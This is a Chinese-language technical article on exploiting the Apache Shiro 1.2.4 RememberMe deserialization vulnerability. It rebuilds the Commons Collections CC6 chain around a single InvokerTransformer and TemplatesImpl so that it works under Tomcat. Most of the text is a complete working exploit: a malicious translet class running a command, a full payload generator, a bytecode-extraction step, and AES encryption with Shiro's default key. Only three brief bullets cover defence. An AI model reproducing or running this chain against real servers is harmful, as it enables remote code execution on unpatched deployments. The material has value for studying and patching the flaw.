Shiro 1.2.4 反序列化实战:CC6链单Transformer改造,绕过Tomcat数组限制

Shiro 1.2.4 反序列化漏洞实战:CC6链单Transformer改造绕过Tomcat限制

在Java安全研究领域,Shiro框架的反序列化漏洞一直是热门话题。本文将深入探讨如何在Tomcat环境下,通过改造CC6利用链,仅使用单个InvokerTransformer实现命令执行,完美绕过Shiro对非Java原生数组类的加载限制。

1. 漏洞背景与核心挑战

Apache Shiro作为广泛使用的Java安全框架,其1.2.4及更早版本存在一个关键的安全缺陷——使用固定密钥进行RememberMe功能的Cookie加密。攻击者可以构造恶意序列化数据,在服务端反序列化时实现远程代码执行。

但实际渗透测试中会遇到一个棘手问题:当Shiro部署在Tomcat环境下时,传统的CC链利用方式会因数组类加载限制而失败。具体表现为:

java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;

这个错误的根源在于Shiro重写了ClassResolvingObjectInputStreamresolveClass方法。当反序列化流中包含非Java原生数组类时,Tomcat的类加载器无法正确加载这些类。

2. CC6链原理与限制分析

让我们先回顾标准CC6链的核心组件:

  1. TiedMapEntry:触发点,其hashCode()会调用getValue()
  2. LazyMap:通过get()方法触发transform
  3. ChainedTransformer:多Transformer串联执行

传统实现需要Transformer数组:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new InvokerTransformer("exec", ...) };

问题正出在这个数组上——[Lorg.apache.commons.collections.Transformer;不是Java原生数组类型,导致Tomcat无法加载。

3. 单Transformer改造方案

3.1 关键突破点:LazyMap的get方法

观察LazyMap.get()的源码实现:

public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 关键调用 map.put(key, value); return value; } return map.get(key); }

这里的关键发现是:传入的key会直接作为参数传递给transform方法。这意味着我们可以完全控制transform方法的输入参数,不再需要ConstantTransformer来传递Runtime实例。

3.2 改造后的调用链

改造后的核心思路:

  1. 使用TemplatesImpl承载恶意字节码
  2. TemplatesImpl实例作为key传入
  3. 通过InvokerTransformer直接调用newTransformer()
graph TD A[TiedMapEntry.hashCode] --> B[TiedMapEntry.getValue] B --> C[LazyMap.get] C --> D[InvokerTransformer.transform] D --> E[TemplatesImpl.newTransformer] E --> F[恶意代码执行]

3.3 关键技术实现

3.3.1 恶意类构造

首先创建包含恶意代码的模板类:

public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec("calc"); } // 必须实现的抽象方法 public void transform(DOM document, SerializationHandler[] handlers) {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }
3.3.2 TemplatesImpl加载

通过反射设置关键字段:

TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl());
3.3.3 精简后的Transformer配置

仅需单个InvokerTransformer:

Transformer transformer = new InvokerTransformer("newTransformer", null, null);

4. 完整EXP实现

以下是经过Tomcat环境验证的完整利用代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import java.util.*; import java.lang.reflect.*; public class ShiroCC6SingleTransformer { public static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 构造TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwn"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 2. 配置单Transformer Transformer transformer = new InvokerTransformer("getClass", null, null); // 3. 构建LazyMap链 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); // 4. 触发反序列化 Map expMap = new HashMap(); expMap.put(entry, "value"); // 5. 反射修改方法名 setField(transformer, "iMethodName", "newTransformer"); // 清理防止本地触发 lazyMap.clear(); // 序列化为字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(expMap); return baos.toByteArray(); } }

5. 实战注意事项

  1. 字节码处理:确保evilBytes是有效的恶意类字节码,可通过ClassPool获取:
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] evilBytes = clazz.toBytecode();
  1. Shiro加密:最终payload需要经过AES加密:
AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payload, key);
  1. 防御措施
    • 升级到Shiro 1.2.5及以上版本
    • 修改默认加密密钥
    • 禁用RememberMe功能

6. 技术对比与优势

特性传统CC6链本方案
Transformer数量多个(数组)单个
依赖数组类
Tomcat兼容性不兼容兼容
代码复杂度
可靠性受环境限制更稳定

这种改造方案不仅解决了Tomcat环境下的限制问题,还简化了利用链结构,提高了攻击的可靠性。对于安全研究人员而言,理解这种改造思路有助于更好地分析其他反序列化漏洞的利用可能性。